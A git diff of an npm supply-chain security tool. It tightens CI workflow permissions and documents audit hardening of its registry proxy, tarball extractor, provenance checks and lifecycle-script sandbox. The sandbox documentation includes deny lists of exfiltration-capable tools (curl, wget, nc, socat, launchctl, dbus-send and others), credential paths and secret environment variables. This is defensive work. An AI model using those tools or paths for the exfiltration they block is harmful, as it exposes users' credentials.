diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6de9818..9e58e97 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -5,6 +5,10 @@ on: branches: [main] pull_request: +# npm ci runs dependency lifecycle scripts; give them a read-only token. +permissions: + contents: read + jobs: build-test: runs-on: ubuntu-latest diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index c9defee..2c026a3 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -132,11 +132,16 @@ jobs: needs: build-and-verify runs-on: ubuntu-latest environment: npm-release + # Publishing rights only. The clean-install check and the GitHub release + # run in later jobs, so no third-party install code ever runs while this + # job can mint an npm OIDC token or push to the repo. permissions: - contents: write # create the GitHub prerelease + contents: read id-token: write # npm provenance / trusted publishing (OIDC) steps: - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + persist-credentials: false - name: Verify the tag exists and points at the tested commit run: | set -euo pipefail @@ -222,6 +227,19 @@ jobs: fi echo "@git-agentic/sentinel-$p@$VERSION visible, dist-tag alpha OK" done + + verify-registry-install: + # Installs the just-published packages from the public registry. npm runs + # freshly resolved third-party code here (no lockfile), so this job holds + # no token at all: no OIDC, no contents write. + if: github.event_name == 'workflow_dispatch' && inputs.publish + needs: publish + runs-on: ubuntu-latest + permissions: {} + steps: + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 + with: + node-version: "24" - name: Install the published packages from the public registry in a clean project run: | set -euo pipefail @@ -240,6 +258,21 @@ jobs: ./node_modules/.bin/sentinel --version | grep -qx "$VERSION" node -e "import('@git-agentic/sentinel-core').then(m=>{if(m.ENGINE_VERSION!=='$VERSION')process.exit(1)})" echo "clean-project registry install OK" + + github-release: + if: github.event_name == 'workflow_dispatch' && inputs.publish + needs: verify-registry-install + runs-on: ubuntu-latest + permissions: + contents: write # create the GitHub prerelease + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + persist-credentials: false + - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 + with: + name: release-artifacts + path: release-artifacts/ - name: Create the GitHub prerelease (only after npm verification) env: GH_TOKEN: ${{ github.token }} diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index e19b640..5b890db 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -96,7 +96,9 @@ single-version publish PUT: buffering, strictly parsed, audited synchronously, policy-gated, and committed atomically only for a native source class. - `POST /-/retractions` → an operator retraction for a native version, accepted - only inside the signed-policy age/download window. `GET /-/retractions` + only inside the signed-policy age/download window. With auth enabled it needs + the `operator` role; in open mode it needs a publish token and is closed when + none is configured (ADR-0056). `GET /-/retractions` exposes the operator feed, active corpus identity, counting contract, and `windowHits: { age, downloads, both }` counters with or without SQLite. @@ -184,7 +186,8 @@ trusted-publisher enrollments require a matching offline-verified Sigstore SLSA identity. Stored native versions snapshot the claim namespace, domain, and claimant key at publication, so an ownership change cannot re-attribute history. `@git-agentic/sentinel-steward` performs exact-apex DNS challenges, derives grandfather tiers -from steward-fetched upstream evidence, verifies claimant-key transfer +from steward-fetched upstream evidence (Tier 1 needs a homepage or repository host at or +under the claimed domain; a same-named GitHub/GitLab organization no longer counts, ADR-0056), verifies claimant-key transfer signatures, applies renewal/domain-change freezes, and atomically publishes versioned directories after 30-day announced changes (ADR-0046). Mandatory per-source rate-limit middleware protects both the steward control plane and @@ -245,7 +248,8 @@ never stored. `@git-agentic/sentinel-sandbox` turns an *approved* capability set into *enforced* runtime least-privilege on macOS and Linux: `generateProfile(approved, {homeDir})` emits an allow-default + deny-sensitive Seatbelt (SBPL) profile, each deny relaxed by an approved capability; the -`SeatbeltSandbox` runs each lifecycle script under it via `sandbox-exec` (failing closed +`SeatbeltSandbox` runs each lifecycle script under it via `sandbox-exec -p ` (the +profile is inline; no file is written to the temp dir, ADR-0056) (failing closed off-darwin). `sentinel run-scripts ` ties it together and, on a loud failure, reports the detected-but-unapproved capabilities (inferred, best-effort). A child process inherits the *filesystem/network* confinement of the sandbox — and, as of Phase 28, the spawn itself @@ -258,7 +262,8 @@ exfil-tool carve-out enforced on both; `native` advisory by decision.** The Seatbelt profile denies `process-exec*` by default, re-allows a fixed exec floor (`execAllowFloor`: system dirs, the node prefix, the project root, Apple/Homebrew toolchains) plus approved `process:` path-Grants, then re-denies a curated -`SENSITIVE_EXECUTABLES` carve-out (curl, wget, nc, …) unless a command/wildcard +`SENSITIVE_EXECUTABLES` carve-out (curl, wget, nc, launchctl, open, shortcuts, automator, +systemd-run, busctl, dbus-send, gdbus, …) unless a command/wildcard Grant lifts it — so an unapproved exec of a dropped binary outside the project tree is kernel-denied (ADR-0042). On Linux, bwrap cannot path-gate exec at all (no `noexec` mount option), so Phase 29 shipped only the exfil-tool carve-out — @@ -357,7 +362,12 @@ content sniff) across three formats — npm `package-lock.json`/`npm-shrinkwrap. by sniffing for `__metadata:`), and `pnpm-lock.yaml` (YAML across lockfile versions v5's `/name/version` and v6/v9's `name@version` keys, peer-dep suffix `(a@1)(b@2)` stripped) — into the same deduped, sorted `{name, version, integrity?}` `Coordinate[]` regardless of -format (skipping the root entry and `link:`/`file:` deps). Berry checksums are not +format (skipping the root entry and `link:`/`file:` deps). An entry whose resolution is not +an http(s) `/-/.tgz` registry tarball (git, `github:`, other URLs) carries +`Coordinate.nonRegistry`, the raw spec, sticky across duplicate `name@version` merges; +the proxy returns a `block` row for it without fetching and keeps it out of the +registry row's dedupe key. Yarn berry `workspace`/`patch`/`link`/`portal`/`file`/`exec` +entries and pnpm directory entries are skipped (ADR-0056). Berry checksums are not SRI-shaped, so berry-parsed coordinates carry no `integrity`. The `yaml` package (`^2.9.0`) backing the pnpm/berry parsers is a dependency of `@git-agentic/sentinel-core` only. The CLI POSTs the coordinates (plus an optional `failOnError` flag) to `POST /-/audit-tree`. The @@ -394,7 +404,10 @@ alongside the other sync rules. A pure `provenance` rule turns the two fields in (`invalid` is `critical` and hard-blocks); it cannot see policy, so an optional `requireSignature`/`requireProvenance` pattern-list gate lives beside `deny` in `score.ts`, letting a policy require a verified signature or present provenance for matching package -names without changing the rule itself. +names without changing the rule itself. A signature list whose keyids match no +trusted key counts as `unsigned` (weight 4, low), not `unknown`; key expiry is not +checked because it would need the publish time and the wall clock never enters +scoring (ADR-0056). ### 3.10 Provenance deep-verify (Phase 9, ADR-0022) @@ -416,9 +429,16 @@ result is `invalid` — including bundles that throw partway through verificatio crash-bundle can't fail open past the identity gate). `unknown` is reserved for missing inputs (unfetchable bundle, empty list, no trust material configured). Identity (workflow SAN, issuer, source repository, ref, builder, commit) is -extracted only from the verifier's authenticated result and the signed DSSE -statement, never from unauthenticated packument fields, and attached as -`provenanceIdentity`. Status and identity flow three ways: the `provenance` rule +extracted only from the verifier's authenticated result, the verified leaf +certificate and the signed DSSE statement, never from unauthenticated packument +fields, and attached as `provenanceIdentity`. `sourceRepository` and `ref` come from +the Fulcio certificate extensions (OID 1.3.6.1.4.1.57264.1.12 and .14, read by a small +DER walker in `provenance.ts`), not from the SLSA predicate, which any Sigstore signer +writes; they are `null` when the certificate lacks them. `builder` and `commit` remain +signer-written predicate claims. A trusted-publisher enrollment authorizes only when it +constrains `repository` or `workflowRef` and those match, so a builder match alone +never authorizes. Residual: a signed policy `provenanceIdentities` entry that +constrains only `builder` can be met by a signer-written builder (ADR-0056). Status and identity flow three ways: the `provenance` rule turns status into findings; `score.ts`'s `provenanceIdentities` gate enforces per-pattern identity requirements with fail-closed AND across matching entries (`unknown` is exempt from this gate but not from the upgraded @@ -557,6 +577,10 @@ where `payload` is `{ role, sub, iat, exp }`. `verifyToken` is pure and total tampered payload fails at the signature check before anything downstream sees it. Three roles: `operator`, `agent`, `publisher`. +**Bind address.** The proxy listens on `127.0.0.1` unless `SENTINEL_HOST` is set +(an empty value is FATAL), so a bare start is not reachable from the network. The +steward uses `SENTINEL_STEWARD_HOST` the same way (ADR-0056). + **Opt-in, not on by default.** `makeAuthz(publicKeyPem)` (`packages/proxy/src/authz.ts`) is disabled (`enabled: false`, every `requireRole` a pass-through) unless `SENTINEL_AUTH_PUBKEY` (a path to a PEM @@ -575,9 +599,16 @@ as before this phase. | `DELETE /-/violations/:integrity` | `operator` | | `POST /-/approval-requests` | `agent` | | `POST /-/violations` | `agent` | -| `POST /-/retractions` | `operator` | +| `POST /-/retractions` | `operator` (auth disabled: publish token) | +| `POST /-/registry/import` | `operator` (auth disabled: publish token) | | `PUT /:pkg` (publish) | `publisher` (auth enabled) / legacy `requirePublishAuth` token (auth disabled) | +In open mode, import and retraction use the same publish-token check as publish, +so with no `SENTINEL_PUBLISH_TOKENS` they always answer `401` (ADR-0056). The +compatibility routes (search, advisories/bulk, keys, attestations, web login) drop +`authorization`, `cookie` and `npm-otp` before forwarding upstream; their bodies are capped at 8 MiB and they sit behind the +opt-in rate gate. + **Reads stay open in every mode**: every `GET`, the tarball serve, packument resolution, and `POST /-/audit-tree` (a read-shaped fan-out audit, not a gate mutation) are never gated by role — Phase 12 authenticates mutations to the @@ -1141,6 +1172,15 @@ throttle protects the expensive read endpoints. Phase 24 closes all four: `packages/proxy/src/index.ts` (`resolvePositiveInt`/`resolveRateLimiter`) and logged (`limits:` / `rate-limit:` lines); a malformed value is FATAL, the same posture as `SENTINEL_AUTH_PUBKEY`/`SENTINEL_TARBALL_ORIGINS`. +- **Extraction hardening (ADR-0056).** Entry types ending in `File`, including + type-7 `ContiguousFile`, are scanned like regular files. Entry paths are normalized + like npm: first segment replaced by `package`, then posix normalize. Root manifests are counted case-insensitively; more than one, a + case-variant manifest, or a root manifest too large to scan yields the synthesized + critical `manifest-confusion` finding (category `metadata`; zero manifests add + nothing). A compressed signature in the first bytes the tar parser sees (gzip(gzip), + raw zstd) is refused as `resource-abuse`. Extension-less text files up to 2 MiB are + retained, and `install-scripts` scans any command token that names a retained package + file (docs and data names such as `README`, `.md`, `.json` are skipped). - **Bounded tarball extraction (Phase 26 Part A, `packages/core/src/ extract.ts`, ADR-0039).** ADR-0037's byte caps bound only *compressed* fetch bytes; a small `.tgz` can still gzip-bomb into unbounded unpacked @@ -1207,8 +1247,9 @@ writes and `$HOME` reads have sharply different risk profiles: Slice 1 `writeAllowFloor({ cwd, tmpDir })` returns the baseline writable set every sandboxed script gets regardless of its approved capabilities: the Install directory (`cwd`), `os.tmpdir()`, `/tmp`, `/dev` (so `2>/dev/null` and - similar device writes keep working), and the node-gyp/npm build caches - (`~/.node-gyp`, `~/.cache/node-gyp`, `~/.npm/_logs`). The floor is pure and + similar device writes keep working), and `~/.npm/_logs`. The node-gyp header caches + (`~/.node-gyp`, `~/.cache/node-gyp`) are not writable since ADR-0056; with a + `network` approval `npm_config_devdir` points at a per-run directory instead. The floor is pure and deliberately **not** operator-configurable — a widenable floor would reopen the persistence class Phase 25 closes. Per-package needs beyond the floor are met by approved `filesystem:` Grants. @@ -1252,15 +1293,16 @@ re-opened by a **read-allow list** (`packages/sandbox/src/read-allow.ts`, `readAllowList({ nodePrefix, projectRoot })`): the node runtime's install prefix (`nodeInstallPrefix(execPath)` — `dirname(dirname(execPath))`, so a node-under-`$HOME` runtime installed via nvm/fnm/volta can still load its own -stdlib), the project root (`resolveProjectRoot(cwd, INIT_CWD)` — trusts npm's -`INIT_CWD` when absolute, else walks up from `cwd` to the nearest ancestor -`package.json`, else falls back to `cwd` — so a lifecycle script's `require()` +stdlib), the project root (`resolveProjectRoot(cwd, SENTINEL_ROOT)` — uses the `SENTINEL_ROOT` that +`sentinel install --enforce` pins to the realpath of the install cwd, else walks up from +`cwd` to the nearest ancestor `package.json`, else falls back to `cwd`; `INIT_CWD` is +no longer trusted because a nested npm resets it (ADR-0056) — so a lifecycle script's `require()` resolves across the whole project tree, not just its own install directory deep in `node_modules`), and the node build caches `~/.node-gyp` and -`~/.cache`. System paths outside `$HOME` are unaffected — they stay readable +`~/.cache` (readable only; ADR-0056). System paths outside `$HOME` are unaffected — they stay readable via each backend's existing allow-default / `--ro-bind / /`. Two new sandbox inputs feed this: `nodePrefix` (from `process.execPath`) and `projectRoot` -(from `INIT_CWD`); `Sandbox.run` gained an optional `projectRoot` parameter +(from `SENTINEL_ROOT`); `Sandbox.run` gained an optional `projectRoot` parameter (defaults to `cwd`). - **Seatbelt (`generateProfile`).** Three SBPL layers (SBPL is @@ -1314,8 +1356,11 @@ it. `PE\0\0`, asserted only when the 4-byte read stays within the actual bytes read), and two explicitly **ambiguous** signatures (`cafebabe` — fat Mach-O vs. Java `.class` — and bare `mz`, a PE stub that didn't validate in-prefix). - A file whose sniff is non-`text` is never retained as a text `PackageFile` - even at ≤2 MB — closing the sub-2 MB disguise hole `unscanned-content` + A text-extension file whose sniff is non-`text` is always reported as + `content-mismatch`. It is retained as a text `PackageFile` only when its bytes decode + as valid UTF-8 with no NUL byte (`MZ:` and `BZh:` are valid JavaScript labels), so the + rules still scan it; real binaries are not retained (ADR-0056 supersedes the earlier + "never retained" rule). This closes the sub-2 MB disguise hole `unscanned-content` (ADR-0041) couldn't see, since that boundary only ever looked at declared extension and size. - **`content-mismatch` finding.** `ExtractResult` gains `contentMismatch` @@ -1347,6 +1392,57 @@ which explicitly extends [ADR-0041](./docs/adr/0041-review-hardening.md). --- +### 3.26 Security audit hardening (ADR-0056) + +An audit of the extractor, rules, proxy, sandbox, enforced installs, steward, Action and +CLI produced the changes below. Extraction, provenance, lockfile, control-plane and +sandbox-path changes are described where they live (3.9, 3.12, 3.23-3.25 and §4); the rest +are collected here. + +- **Proxy memory.** `AuditStore` keeps at most 20,000 entries (`MAX_AUDIT_ENTRIES`), + evicting the oldest by insertion order. Approvals and violations for an evicted + coordinate answer "audit first". There is no env var. Reports carry `engine.revision` + (`AUDIT_REVISION`); persisted reports from another engine version or revision are skipped + on load, and a native publication with a stale audit is re-audited from its stored bytes. + Store writes are debounced (about 500 ms) and flushed on exit, `SIGTERM` and `SIGINT`. +- **bwrap isolation.** Every run adds `--unshare-pid --new-session`, so the sandbox sees + only its own processes, orphans die with the pid namespace when the command exits, and a script cannot + inject keystrokes into the controlling tty. Local IPC masks apply whether or not network + is approved, because `--unshare-net` does not cover pathname unix sockets: the session bus + under `/run/user/`, the docker, containerd, podman and crio sockets, the system dbus + socket, and `/tmp/.X11-unix` and `/tmp/ssh-*` when present. Each mask is existence-guarded + and lifted only by an explicit `filesystem:` grant. +- **Sandbox inputs.** A project root of `/` never widens read or exec rules. `cwd` and + project root are resolved to real paths first, and a cwd that resolves to `/` (also via a + symlink) is refused. `npm_config_*` values that carry URL credentials are + scrubbed. Violation `target`, `deniedResource` and `stderrExcerpt` lose control + characters before they are reported. macOS has no process-group kill, so a sandboxed + process can outlive its script. The `SENSITIVE_EXECUTABLES` carve-out matches paths; the + Seatbelt profile does not deny LaunchServices mach lookups. +- **Enforced-install identity.** `sentinel install --enforce` sets `SENTINEL_ROOT` (realpath + of the cwd, not user-configurable) in the enforced env. `isRootScript` compares against it + and fails closed when it is missing. A dependency script runs only when + `npm_package_integrity` equals the audited integrity (compared per algorithm) and + `npm_config_user_agent` names npm 7 or newer (npm 6 lets package.json set that variable). A package npm records only as sha1 fails closed. +- **Steward.** Challenges expire 30 days after issue (verify, approve, transfer, renew, + rule-dispute), and approval recomputes the tier from a fresh upstream lookup. A transfer + needs an active claim with no pending change and materializes only while the claim is + active. Disputes survive expiry and domain-change freezes; only a ruling clears them. + Renewal refuses a disputed claim and needs a challenge verified after the current proof. + Proofs are single use (a consumed challenge is refused by approve, transfer, ruling and + renewal), and state from before proof tracking spends every verified challenge on load, so + pending approvals and in-flight changes need a fresh challenge after an upgrade. + Transfer signatures bind the claim's current challenge id. Request bodies are + type-validated, `evidenceRef` is a non-empty string, and application fields are copied + explicitly so a body-supplied `verifiedAt` cannot skip DNS. `ClaimSteward.approve` is + async; `signTransferRequest` and `transferRequestBytes` take `currentChallengeId`. +- **Action and CLI.** The PR comment is reused only when the marker is on a + `github-actions[bot]` comment, and comment lists are paginated. Workflow-command data is + escaped; PR comment Markdown neutralizes backticks, `<`, `[`, `]` and `@`. + CLI output passes untrusted text through `sanitizeTerminal()`, and `run-scripts` resolves + its directory argument. +- **Startup validation.** `SENTINEL_POLICY` must be exactly `observe` or `block`. + ## 4. The audit engine (`@git-agentic/sentinel-core`) Deterministic heuristic core + a pluggable LLM adapter. The score is produced diff --git a/CLAUDE.md b/CLAUDE.md index d83b224..0a26441 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -34,18 +34,22 @@ ADR-0045–0048 and threat-model §6. network-egress, obfuscation, provenance (ADR-0021/0022), typosquat (ADR-0026), release-anomaly (ADR-0029), known-advisory (ADR-0034), known-vulnerability (semver-range CVEs, ADR-0035), native-payload-loader (dataflow-correlated -packaged-payload materialization-and-execution chain, ADR-0049). Five more +packaged-payload materialization-and-execution chain, ADR-0049). Six more finding kinds are synthesized *outside* the rule pipeline — don't count them as rules: `resource-abuse` (decompression-bomb caps in `extractTarball`, ADR-0039), `unscanned-content` (>2 MB / native-binary blind-spot flag, ADR-0041), and `content-mismatch` (raw-byte magic classification catching a binary/compressed/archive signature behind a text-looking extension, -ADR-0049) inline in `runAudit`; `capability-novelty` from `buildAudit` (needs +ADR-0049), and `manifest-confusion` (critical: more than one npm-normalized root +manifest, a case variant, or an unscannable root manifest, ADR-0056) inline in +`runAudit`; `capability-novelty` from `buildAudit` (needs the post-rules delta, ADR-0029); `dependencyConfusion` at score time in `score.ts` (ADR-0026). Registry-signature verification is offline against configured `NPM_SIGNING_KEYS` (ADR-0021); provenance deep-verify binds the attestation to the *actual served bytes* and -requires a SLSA v1 predicate for `verified` (ADR-0022, tightened by ADR-0041). +requires a SLSA v1 predicate for `verified` (ADR-0022, tightened by ADR-0041); its +identity `sourceRepository`/`ref` come from the Fulcio certificate, never the +signer-written predicate (ADR-0056). Advisory/vuln corpora are bundled, static, offline; regenerated by `scripts/make-advisories.ts` / `make-vulns.ts` from local exports, never fetched at audit time. Also here: multi-format lockfile parsing (npm/yarn/pnpm) + CycloneDX @@ -68,7 +72,10 @@ publish time, `matchPackage`-exempt bypasses, no wall-clock in the engine (the proxy injects `now` via `ServerOptions.now`), overlaid across the tarball gate, `/-/audit`, `/-/explain`, `/-/audit-tree`, and `/-/manifest`. Opt-in Ed25519 role-token auth gates the mutating routes; reads stay open -(ADR-0025). Opt-in `node:sqlite` history DB + `/-/metrics`, `/-/history`, +(ADR-0025). In open mode, import and retraction need a publish token. The proxy +binds `127.0.0.1` unless `SENTINEL_HOST` is set, and `SENTINEL_POLICY` must be +exactly `observe` or `block` (ADR-0056). `audit-tree` returns a `block` row for a +coordinate with `nonRegistry` set (git/URL lockfile sources) without fetching. Opt-in `node:sqlite` history DB + `/-/metrics`, `/-/history`, `/-/violations/timeline` (ADR-0028). Outbound tarball fetches are pinned to the registry origin/allowlist (SSRF), inbound `dist.tarball` rewrites require a configured public base URL off loopback — 421 otherwise (ADR-0036). Byte caps, @@ -112,7 +119,9 @@ shared route contract. **Claim steward (`@git-agentic/sentinel-steward`)** — authenticated operational service for exact-apex DNS TXT challenges, steward-fetched three-tier grandfathering, claimant-key-signed transfers, 12-month renewal and freeze, 30-day announced -Tier-2 grants/transfers/dispute rulings, durable atomic state, and atomic +Tier-2 grants/transfers/dispute rulings (Tier 1 needs a homepage or repository +host at or under the claimed domain; a same-named GitHub/GitLab org does not +count, ADR-0056), durable atomic state, and atomic directory-based Ed25519-signed corpus releases. Authenticated claimed-namespace retractions join the next signed `advisories.json` release in the same atomic directory. DNS and issuance run only on the steward; proxy @@ -130,7 +139,9 @@ or bubblewrap (linux); one approved-capability model, fail-closed contract re-denied after any allow (ADR-0038). Env is scrubbed fail-closed; `env:NAME` approvals re-admit (ADR-0017). Exec is deny-by-default on macOS (`execAllowFloor` + `SENSITIVE_EXECUTABLES` carve-out: curl, wget, nc, ncat, -socat, osascript, scp, sftp — ADR-0042); on Linux the exfil-tool carve-out is +socat, osascript, scp, sftp, launchctl, open, shortcuts, automator, systemd-run, +busctl, dbus-send, gdbus — ADR-0042, ADR-0056); the Seatbelt profile is passed +inline (`sandbox-exec -p`), not via a temp file; on Linux the exfil-tool carve-out is enforced via `/dev/null` masking (ADR-0043) and the exec **floor** is enforced via a from-source Landlock helper where kernel + `cc` allow, advisory otherwise (fail-open, pre-checked `landlock-exec --check`, ADR-0044). `native` is @@ -139,7 +150,9 @@ advisory-only on both platforms by decision. The sandbox is also a sensor: reported best-effort to `POST /-/violations` — a swallowed denial evades telemetry, not containment (ADR-0023). Enforced installs run every lifecycle script under the sandbox via `npm_config_script_shell` interposition -(`sentinel install --enforce`, ADR-0019). `runArgv` (no-shell, execFile-style, +(`sentinel install --enforce`, ADR-0019). `--enforce` sets `SENTINEL_ROOT`; root +detection uses it (never `INIT_CWD`) and a dependency script needs a matching +`npm_package_integrity` (ADR-0056). `runArgv` (no-shell, execFile-style, shared profile/deny-set/telemetry with `run`) backs `sentinel exec`, extending containment to Sentinel-mediated command execution — imports/`npx` run outside `exec` remain uncontained (ADR-0051). diff --git a/README.md b/README.md index 35a425a..3e17f75 100644 --- a/README.md +++ b/README.md @@ -107,7 +107,8 @@ node packages/cli/dist/index.js install lodash | Var | Default | Meaning | |---|---|---| | `SENTINEL_UPSTREAM` | `npm` | `npm` (real registry) or `fixtures[:dir]` (local, hermetic) | -| `SENTINEL_POLICY` | `observe` | `observe` = audit + serve + headers; `block` = `403` on a block verdict | +| `SENTINEL_POLICY` | `observe` | exactly `observe` (audit + serve + headers) or `block` (`403` on a block verdict); any other value, including a case variant or an empty string, is FATAL at startup | +| `SENTINEL_HOST` | `127.0.0.1` | bind address. The default is loopback only; set `0.0.0.0` (or a specific interface) for a network deployment, together with `SENTINEL_PUBLIC_BASE_URL`. An empty value is FATAL | | `SENTINEL_PORT` | `4873` | proxy port (verdaccio's conventional local-registry port) | | `SENTINEL_REGISTRY` | `https://registry.npmjs.org` | upstream registry when in npm mode | | `SENTINEL_STORE` | _(memory only)_ | path to a JSON file to persist the audit log | @@ -178,7 +179,10 @@ Claim entries carry their namespace, organizational domain, claimant transfer key, passed DNS challenge, renewal deadline, lifecycle status, and optional trusted-publisher identities. Frozen/disputed claims keep serving stored bytes but reject new publishes; -trusted-publisher claims require a matching offline-verified SLSA identity. +trusted-publisher claims require a matching offline-verified SLSA identity. The +repository and ref in that identity come from the Fulcio certificate, not from +the signer-written SLSA predicate, and an enrollment must constrain `repository` +or `workflowRef`; a builder match alone never authorizes. Run the separate steward control plane with durable state and a corpus-signing key (all four variables are required): @@ -194,7 +198,12 @@ npm run steward The authenticated `/-/claims/*` API issues and verifies exact-apex DNS TXT challenges, derives the grandfather tier from steward-fetched upstream metadata, tracks renewal/freeze, and announces signed transfers or dispute rulings for 30 -days. The steward control plane is always rate-limited before authentication; +days. Tier 1 auto-grant needs the upstream homepage or repository host to be at +or under the claimed domain; a same-named GitHub or GitLab organization is not +evidence, so such claims land in Tier 2 (evidence plus the 30-day timelock). +Challenges expire 30 days after issue, and the tier is recomputed from a fresh +upstream lookup at approval. The steward listens on `127.0.0.1:4874` by default; +set `SENTINEL_STEWARD_HOST` (and `SENTINEL_STEWARD_PORT`) to expose it. The steward control plane is always rate-limited before authentication; the proxy publish route has a separate mandatory 60-requests/minute backstop. A release atomically publishes `//{claims.json,claims.json.sig,advisories.json,advisories.json.sig}` as one directory; the @@ -211,7 +220,8 @@ source. Policy data `"retraction": { "maxAgeHours": 72, "maxDownloads": 1000 }` sets two exclusive bounds. `POST /-/retractions` accepts `{ "name", "version", "reason" }`, where reason is `security`, `withdrawn`, -`broken`, or `legal`; with role auth enabled it requires an `operator` token. +`broken`, or `legal`; with role auth enabled it requires an `operator` token, and in +open mode it requires a publish token (always `401` when none are configured). Retraction succeeds only while both age and cumulative downloads are below their limits. A closed window returns 403 with the complete window state and distinct `retraction-age-limit-exceeded` / @@ -241,12 +251,19 @@ Native packages expose full npm packuments (including `time` and `_rev`), abbreviated/corgi negotiation, dist-tags, legacy login/whoami, metadata-only deprecation, and npm/pnpm's revision-based unpublish flow. Unpublish maps to the same time/download-window retraction above; it never raw-deletes bytes. + +The selected read-only npm routes (search, advisories/bulk, keys, attestations, +web login) are forwarded byte-for-byte, but without the client's `authorization`, +`cookie` or `npm-otp` headers, web login included. Request bodies are capped at 8 MiB and the routes honour the opt-in +rate limit. The compatibility harness drives real npm, pnpm, Yarn Berry, and bun binaries. Mutation coverage follows the commands each client exposes (Berry has no unpublish command; bun has neither dist-tag nor unpublish), with shared routes covered independently by byte-preserving wire tests. -To import public history after a claim, run against the configured proxy: +To import public history after a claim, run against the configured proxy. The +route needs an `operator` token when role auth is enabled and a publish token in +open mode: ```bash sentinel-registry import --proxy http://localhost:4873 --package claimed-name @@ -299,7 +316,7 @@ sentinel attest [lockfile] --key --out [--sbom] audit the tree, write an SBOM sentinel verify-attestation --key [--sbom --policy-hash --require] offline-verify an attestation (deploy gate) sentinel-registry import --proxy --package [--token] audit-gated claimed-history import sentinel-registry export --store --out lossless native package export - -p, --proxy proxy base URL (default http://localhost:4873) + -p, --proxy proxy base URL (default http://127.0.0.1:4873) --json raw JSON report ``` @@ -312,6 +329,14 @@ pass and exits non-zero if the aggregate verdict trips the policy's `treeGate` (default `block`). It auto-detects the format — `package-lock.json`/ `npm-shrinkwrap.json` (npm v2/v3), `yarn.lock` (v1 text or berry YAML), and `pnpm-lock.yaml` (v5/v6/v9) — by filename first, falling back to a content sniff. +An entry that does not resolve to a registry tarball (a git or `github:` spec, an +arbitrary tarball URL, or a registry-shaped URL with no integrity pin) cannot be +audited through the proxy: it is sent with +`nonRegistry` set and comes back as a `block` row without any fetch. Yarn berry +`workspace`/`patch`/`link`/`portal`/`file`/`exec` entries and pnpm directory +entries are local sources and are skipped. A resolved registry entry without an +integrity pin (for example an old yarn v1 file with neither `integrity` lines +nor `#` fragments) therefore gates. - `--sbom ` writes the audited tree as a CycloneDX 1.6 JSON BOM: one `library` component per package (`purl: pkg:npm/@`) carrying @@ -427,21 +452,22 @@ a true subcommand impractical). See `sentinel run-scripts [--approve network:host …]` runs the package's lifecycle scripts under a kernel sandbox generated from its approved capabilities — `createSandbox()` selects **Seatbelt** on macOS and **bubblewrap** on Linux, same capability model and fail-closed contract. As of Phase 25 the sandbox is **deny-by-default** (ADR-0038): -- **Writes** are denied outside a fixed floor (the install dir, the OS temp dir, `/dev`, and the node build caches `~/.node-gyp` / `~/.cache/node-gyp` / `~/.npm/_logs`) plus operator-approved `filesystem:` grants — killing the persistence/tamper class, not an enumerated list. +- **Writes** are denied outside a fixed floor (the install dir, the OS temp dir, `/dev`, and `~/.npm/_logs`) plus operator-approved `filesystem:` grants — killing the persistence/tamper class, not an enumerated list. The node-gyp header caches (`~/.node-gyp`, `~/.cache/node-gyp`) are readable but not writable; with a `network` approval `npm_config_devdir` points at a per-run directory outside every write floor, and without one a cold-cache native build fails. - **`$HOME` reads** are denied by default, re-allowing only what a lifecycle script needs: system paths, the node install prefix (so a node-under-`$HOME` nvm/fnm/volta runtime still loads its stdlib), the project root (so `require()` resolves), and the build caches — closing credential theft as a whole class. `/etc/passwd`/`/etc/shadow` stay denied via the `SENSITIVE_PATHS` carve-out. -- **Network egress** is denied unless a `network` capability is approved. +- **Network egress** is denied unless a `network` capability is approved. On Linux, bubblewrap also masks local IPC regardless of network approval, because `--unshare-net` does not cover pathname unix sockets: the session bus under `/run/user/`, the docker, containerd, podman and crio sockets, the system dbus socket, and `/tmp/.X11-unix` and `/tmp/ssh-*` when present. A mask lifts only with an explicit `filesystem:` grant, and a run whose working directory sits under a masked directory is refused. Each run also gets its own pid namespace, `--die-with-parent` and `--new-session`. +- **Profile delivery** (macOS): the Seatbelt profile is passed inline (`sandbox-exec -p`); no profile file is written to the temp dir. A project root of `/` never widens read or exec rules, relative `cwd` and project root are resolved first, and `npm_config_*` values that carry URL credentials are scrubbed. - **Environment secrets** are fail-closed **scrubbed** (Phase 4): a credential-looking env var (`NPM_TOKEN`, `AWS_SECRET_ACCESS_KEY`, …) never reaches the script unless approved with an `env:NAME` capability. The `secret-exfil` audit rule additionally flags env reads at scoring time. - **Exec** (macOS, Phase 28) is denied outside a fixed floor — system dirs, the node prefix, the project tree, Apple/Homebrew toolchains — plus approved `process:` grants (`process:curl` lifts one tool's carve-out; `process:/path` opens a path; `process:*` lifts the carve-out only), and exfil-capable tools (`curl`, `wget`, - `nc`, …) are re-denied inside the floor unless granted. A dropped binary in `/tmp` + `nc`, `launchctl`, `open`, `shortcuts`, `automator`, …) are re-denied inside the floor unless granted. The carve-out is by path; LaunchServices mach lookups are not denied by the profile. A dropped binary in `/tmp` or a cache is kernel-denied; a binary the package writes into its *own* project tree can still exec there (the floor includes the project root), mitigated by the `unscanned-content` finding and `process` capability scoring, not kernel denial. - **Exec** (Linux, Phase 29 + Phase 2/Landlock) always exec-denies the exfil-capable tools (`curl`, `wget`, `nc`, …) by masking each with - `--ro-bind /dev/null ` unless a `process:` Grant lifts it (bwrap itself + `--ro-bind /dev/null ` (the list also covers `systemd-run`, `busctl`, `dbus-send` and `gdbus`) unless a `process:` Grant lifts it (bwrap itself cannot path-gate exec — no `noexec` mount option). As of Phase 2 the exec **floor** is also enforced where a from-source Landlock helper is available: `landlock-exec`, compiled by `npm run build` (Linux + `cc` only, a no-op @@ -491,6 +517,20 @@ primary and independently-sufficient control — a package that should be blocked is blocked at audit time regardless of whether anything downstream is sandboxed. See [ADR-0051](./docs/adr/0051-sandboxed-exec.md). +### Enforced-install identity + +`sentinel install --enforce` sets `SENTINEL_ROOT` to the realpath of the install +directory (it is not user-configurable). 